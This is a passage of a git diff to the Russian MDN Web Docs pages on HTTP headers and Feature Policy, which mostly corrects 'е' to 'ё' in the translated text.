веб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.</p> -<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.</p> +<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определённые функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определённых функций.</p> <p>Примеры того, что можно сделать с заголовком Feature Policy:</p> diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html index b2dc5d8792..b75ef11712 100644 --- a/files/ru/web/http/feature_policy/using_feature_policy/index.html +++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html @@ -9,13 +9,13 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy <div></div> -<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.</p> +<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определённой веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определённую функциональность списку разрешённых источников. Каждая функция, контролируемая функциональной политикой, активируется в определённом документе или фрейме, если его источник происхождения входит в разрешённый список источников.</p> -<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. </p> +<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешённых источников по умолчанию. Этот список специфичен для каждой функциональности. </p> <h2 id="Описание_политики">Описание политики</h2> -<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p> +<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имён определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p> <h3 id="список_доступа">список доступа</h3> @@ -54,7 +54,7 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy <p>Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.</p> -<pre class="brush: bash">Feature-Policy: <имя функциональности> <список разрешенных источников></pre> +<pre class="brush: bash">Feature-Policy: <имя функциональности> <список разрешённых источников></pre> <p>К примеру, для блокировки функциональности API геолокации по всему сайту:</p> diff --git a/files/ru/web/http/headers/accept-charset/index.html b/files/ru/web/http/headers/accept-charset/index.html index a8008ec1b8..75bf389f93 100644 --- a/files/ru/web/http/headers/accept-charset/index.html +++ b/files/ru/web/http/headers/accept-charset/index.html @@ -6,12 +6,12 @@ original_slug: Web/HTTP/Заголовки/Accept-Charset --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный и передача его позволит с большей легкостью получить цифровой отпечаток.</p> +<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своём выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный и передача его позволит с большей лёгкостью получить цифровой отпечаток.</p> <p>Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка <code>Accept-Charset</code>.</p> <div class="note"> -<p>В более ранних версиях HTTP/1.1, кодировка по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.</p> +<p>В более ранних версиях HTTP/1.1, кодировка по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь своё собственное дефолтное значение.</p> </div> <table class="properties"> diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 8cce5856b6..feddf885d0 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language --- <div>{{HTTPSidebar}}</div> -<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведет.к идентификации).</div> +<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своём выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведёт.к идентификации).</div> <div></div> @@ -44,11 +44,11 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> <dl> <dt><code><language></code></dt> - <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать дополнительные под-теги, разделенные <code>'-'</code>. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd> + <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать дополнительные под-теги, разделённые <code>'-'</code>. Наиболее распространённой дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd> <dt><code>*</code></dt> <dd>Любой язык; <code>'*'</code> обозначает любое значение.</dd> <dt><code>;q=</code> (q-factor weighting)</dt> - <dd>Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd> + <dd>Любое из значений, размещённых в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 5cacf1026f..17bc2ae125 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ b/files/ru/web/http/headers/accept-patch/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch <td>{{Glossary("Response header", "Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index ba2539d420..832d095b09 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Accept --- <div>{{HTTPSidebar}}</div> -<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.</p> +<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своём выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задаётся другое значение, чем при получении изображения, видео или скрипта.</p> <table class="properties"> <tbody> @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Заголовки/Accept <td>{{Glossary("Request header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> <tr> diff --git a/files/ru/web/http/headers/access-control-allow-headers/index.html b/files/ru/web/http/headers/access-control-allow-headers/index.html index d405260c68..bc9e7641c2 100644 --- a/files/ru/web/http/headers/access-control-allow-headers/index.html +++ b/files/ru/web/http/headers/access-control-allow-headers/index.html @@ -39,7 +39,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers <dl> <dt><header-name></dt> - <dd>Список поддерживаемых заголовков разделенных запятыми.</dd> + <dd>Список поддерживаемых заголовков разделённых запятыми.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -74,7 +74,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers <h2 id="Заметки_по_совместимости">Заметки по совместимости</h2> <ul> - <li>Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах: + <li>Подстановочное значение (*), указанное в последней спецификации, ещё не реализовано в браузерах: <ul> <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> <li>Firefox: {{bug(1309358)}}</li> diff --git a/files/ru/web/http/headers/access-control-allow-methods/index.html b/files/ru/web/http/headers/access-control-allow-methods/index.html index 788d616348..1f6b997095 100644 --- a/files/ru/web/http/headers/access-control-allow-methods/index.html +++ b/files/ru/web/http/headers/access-control-allow-methods/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods <dl> <dt><method></dt> - <dd>Разделенный запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd> + <dd>Разделённый запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods <h2 id="Замечания_по_совместимости">Замечания по совместимости</h2> <ul> - <li>Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах: + <li>Подстановочное значение (*), которое упоминается в последней спецификации ещё не реализовано в браузерах: <ul> <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> <li>Firefox: {{bug(1309358)}}</li> diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index 402d34c996..a8c83a5fb6 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -32,7 +32,7 @@ Access-Control-Allow-Origin: null <dl> <dt><code>*</code></dt> - <dd>Для запросов <em>без учетных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd> + <dd>Для запросов <em>без учётных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учётными данными приведёт к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd> <dt><code><origin></code></dt> <dd>Указывает источник. Может быть указан только один источник.</dd> <dt><code>null</code></dt> @@ -51,7 +51,7 @@ Access-Control-Allow-Origin: null <pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre> -<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> +<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> <h3 id="CORS_и_кэширование">CORS и кэширование</h3> diff --git a/files/ru/web/http/headers/access-control-max-age/index.html b/files/ru/web/http/headers/access-control-max-age/index.html index b889deae0f..2653520439 100644 --- a/files/ru/web/http/headers/access-control-max-age/index.html +++ b/files/ru/web/http/headers/access-control-max-age/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Max-Age <td>{{Glossary("Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 462f6f0c57..71566867b0 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <td>{{Glossary("Request header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>Нет</td> </tr> </tbody> @@ -43,12 +43,12 @@ original_slug: Web/HTTP/Заголовки/Authorization <dt><данные пользователя></dt> <dd>Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом: <ul> - <li>Логин и пароль, разделенные двоеточием (<code>aladdin:opensesame</code>).</li> + <li>Логин и пароль, разделённые двоеточием (<code>aladdin:opensesame</code>).</li> <li>Результирующая строка, закодированная в <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> </ul> <div class="note"> - <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p> + <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учётных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p> </div> </dd> </dl> diff --git a/files/ru/web/http/headers/cache-control/index.html b/files/ru/web/http/headers/cache-control/index.html index 4d1165c324..70acce7e01 100644 --- a/files/ru/web/http/headers/cache-control/index.html +++ b/files/ru/web/http/headers/cache-control/index.html @@ -87,7 +87,7 @@ Cache-Control: stale-if-error=<seconds> <dl> <dt><code>max-age=<seconds></code></dt> - <dd>Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd> + <dd>Задаёт максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd> <dt><code>s-maxage=<seconds></code></dt> <dd>Переопределяет <code>max-age</code> или заголовок <code>Expires</code>, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.</dd> <dt><code>max-stale[=<seconds>]</code></dt> diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 1470326d45..a68e883264 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Connection --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Connection</code></strong> определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p> +<p>Заголовок <strong><code>Connection</code></strong> определяет, остаётся ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остаётся и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p> <div class="blockIndicator warning"> <p>Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">запрещены в HTTP/2</a>. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.</p> @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Connection <td>{{Glossary("General header", "Общий заголовок")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/content-disposition/index.html b/files/ru/web/http/headers/content-disposition/index.html index 144fb4b808..70ad08a53a 100644 --- a/files/ru/web/http/headers/content-disposition/index.html +++ b/files/ru/web/http/headers/content-disposition/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Content-Disposition <h3 id="Как_заголовок_ответа_с_обычным_телом">Как заголовок ответа с обычным телом</h3> -<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображен внутри веб-страницы или как веб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p> +<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображён внутри веб-страницы или как веб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p> <pre class="syntaxbox">Content-Disposition: inline Content-Disposition: attachment diff --git a/files/ru/web/http/headers/content-encoding/index.html b/files/ru/web/http/headers/content-encoding/index.html index 47c1db50a5..2584223a02 100644 --- a/files/ru/web/http/headers/content-encoding/index.html +++ b/files/ru/web/http/headers/content-encoding/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Content-Encoding --- <div>{{HTTPSidebar}}</div> -<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на заголовок <code><strong>Content-Type </strong></code></p> +<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии её значение определяет кодировку, применённую к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на заголовок <code><strong>Content-Type </strong></code></p> <p>Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.</p> diff --git a/files/ru/web/http/headers/content-language/index.html b/files/ru/web/http/headers/content-language/index.html index bf273885a3..04d7618e57 100644 --- a/files/ru/web/http/headers/content-language/index.html +++ b/files/ru/web/http/headers/content-language/index.html @@ -46,7 +46,7 @@ Content-Language: de-DE, en-CA <dl> <dt><code>language-tag</code></dt> - <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd> + <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учёта регистра, разделённых символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd> <dd>В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "<code>en</code>" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "<code>en-CA</code>" = вариант диалекта английского языка, использующегося в Канаде).</dd> </dl> diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html index 164663440a..c9bb0be9d6 100644 --- a/files/ru/web/http/headers/date/index.html +++ b/files/ru/web/http/headers/date/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Date <td>{{Glossary("Основной")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> @@ -37,17 +37,17 @@ original_slug: Web/HTTP/Заголовки/Date <dt><day-name></dt> <dd>Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистрозависимое значение).</dd> <dt><day></dt> - <dd>Номер дня с ведущим нулем, например "04" или "23".</dd> + <dd>Номер дня с ведущим нулём, например "04" или "23".</dd> <dt><month></dt> <dd>Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистрозависимое значение).</dd> <dt><year></dt> <dd>Год из 4-х символов, например "1990" или "2016".</dd> <dt><hour></dt> - <dd>Часы с ведущим нулем, например "09" или "23".</dd> + <dd>Часы с ведущим нулём, например "09" или "23".</dd> <dt><minute></dt> - <dd>Минуты с ведущим нулем, например "04" или "59".</dd> + <dd>Минуты с ведущим нулём, например "04" или "59".</dd> <dt><second></dt> - <dd>Секунды с ведущим нулем, например "04" или "59".</dd> + <dd>Секунды с ведущим нулём, например "04" или "59".</dd> <dt>GMT</dt> <dd> <p>Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени</p> diff --git a/files/ru/web/http/headers/etag/index.html b/files/ru/web/http/headers/etag/index.html index 4d5e8ae282..7f8b3a6ce7 100644 --- a/files/ru/web/http/headers/etag/index.html +++ b/files/ru/web/http/headers/etag/index.html @@ -17,7 +17,7 @@ original_slug: Web/HTTP/Заголовки/ETag <td>{{Glossary("Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> </tbody> @@ -35,7 +35,7 @@ ETag: "<etag_value>" <dt><code>W/</code> {{optional_inline}}</dt> <dd><code>'W/'</code> (чувствителен к регистру) указывает, что используется <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">слабый валидатор</a>. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение <code>Etag</code> двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.</dd> <dt>"<etag_value>"</dt> - <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.</dd> + <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключённая в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определён. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -63,7 +63,7 @@ ETag: W/"0815"</pre> <pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> -<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.</p> +<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернёт статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/expect/index.html b/files/ru/web/http/headers/expect/index.html index f6182f09c7..5e4e355851 100644 --- a/files/ru/web/http/headers/expect/index.html +++ b/files/ru/web/http/headers/expect/index.html @@ -8,7 +8,7 @@ original_slug: Web/HTTP/Заголовки/Expect <p>Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.</p> -<p>Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p> +<p>Единственным ожиданием, определённым в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p> <ul> <li>{{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,</li> diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index f388db7437..b5b0c6cf1b 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -24,7 +24,7 @@ original_slug: Web/HTTP/Заголовки/Expires <td>{{Glossary("Response header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> <tr> diff --git a/files/ru/web/http/headers/if-match/index.html b/files/ru/web/http/headers/if-match/index.html index 1f46b5bbb1..d6ec7f0b9a 100644 --- a/files/ru/web/http/headers/if-match/index.html +++ b/files/ru/web/http/headers/if-match/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/If-Match <p>Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс <strong><code>W/</code></strong>используется перед <strong>ETag.</strong></p> -<p>Существует два распространенных варианта использования:</p> +<p>Существует два распространённых варианта использования:</p> <ul> <li>Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).</li> @@ -40,9 +40,9 @@ If-Match: <etag_value>, <etag_value>, … <dl> <dt><etag_value></dt> - <dd>Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd> + <dd>Теги 